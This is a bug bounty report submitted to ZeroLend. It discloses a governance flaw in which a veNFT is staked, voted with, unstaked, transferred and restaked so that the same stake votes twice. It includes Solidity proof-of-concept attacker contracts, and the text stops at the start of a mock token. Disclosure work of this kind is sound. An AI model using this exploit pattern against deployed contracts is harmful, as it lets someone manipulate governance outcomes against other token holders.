Submitted on Mar 10th 2024 at 19:37:05 UTC by @stiglitz for Boost | ZeroLend
Report ID: #29211
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
Users stake their veNFT into the contract OmnichainStaking
; as a result, ERC20 token representing their staking power will be minted.
These ERC20 do not allow transfers, which is crucial because in the PoolVoter
contract, the balance of the staking token is accessed.
uint256 _weight = staking.balanceOf(who);
The problem is that backing veNFT token can be easily transferred.
This means that user A
stakes X
amount of underlying token to mint veNFT
in the Locker contract.
NFT is then sent to the OmnichainStaking
contract which triggers onERC721Received
function, and user A
gets Y
amount of voting ERC20 token.
User A
votes in PoolVoter
, unstake veNFT
from OmnichainStaking
contract, sends it to B
.
B
sends NFT to the OmnichainStaking
and get Y
of voting tokens. Then B
votes. This way we doubled the voting power!
Vulnerability Details
Detailed description with steps in PoC. Actions and state changes are printed out. It is also possible to print call_trace, emitted events etc.
Impact Details
Vote manipulation
References
Add any relevant links to documentation or code
Proof of Concept
X contract
import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";
contract X {
ILocker public lpLocker;
OmnichainStaking public staking;
PoolVoter public poolVoter;
constructor(address _lpLocker, address _staking, address _poolVoter){
lpLocker = ILocker(_lpLocker);
staking = OmnichainStaking(_staking);
poolVoter = PoolVoter(_poolVoter);
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
//lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);
return this.onERC721Received.selector;
}
// Unstake from omnichain staking
function unstakeLP(uint256 tokenId) external {
staking.unstakeLP(tokenId);
}
// This allows me to send anywhere I want
function send(address to, uint256 tokenId) external {
lpLocker.safeTransferFrom(address(this), to, tokenId);
}
function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
poolVoter.vote(_poolVote, _weights);
}
}
Y contract
import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";
contract Y {
ILocker public lpLocker;
OmnichainStaking public staking;
PoolVoter public poolVoter;
constructor(address _lpLocker, address _staking, address _poolVoter){
lpLocker = ILocker(_lpLocker);
staking = OmnichainStaking(_staking);
poolVoter = PoolVoter(_poolVoter);
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
//lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);
return this.onERC721Received.selector;
}
// Unstake from omnichain staking
function unstakeLP(uint256 tokenId) external {
staking.unstakeLP(tokenId);
}
// This allows me to send anywhere I want
function send(address to, uint256 tokenId) external {
lpLocker.safeTransferFrom(address(this), to, tokenId);
}
function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
poolVoter.vote(_poolVote, _weights);
}
}
Ve mock token
pragma solidity ^0.8.6;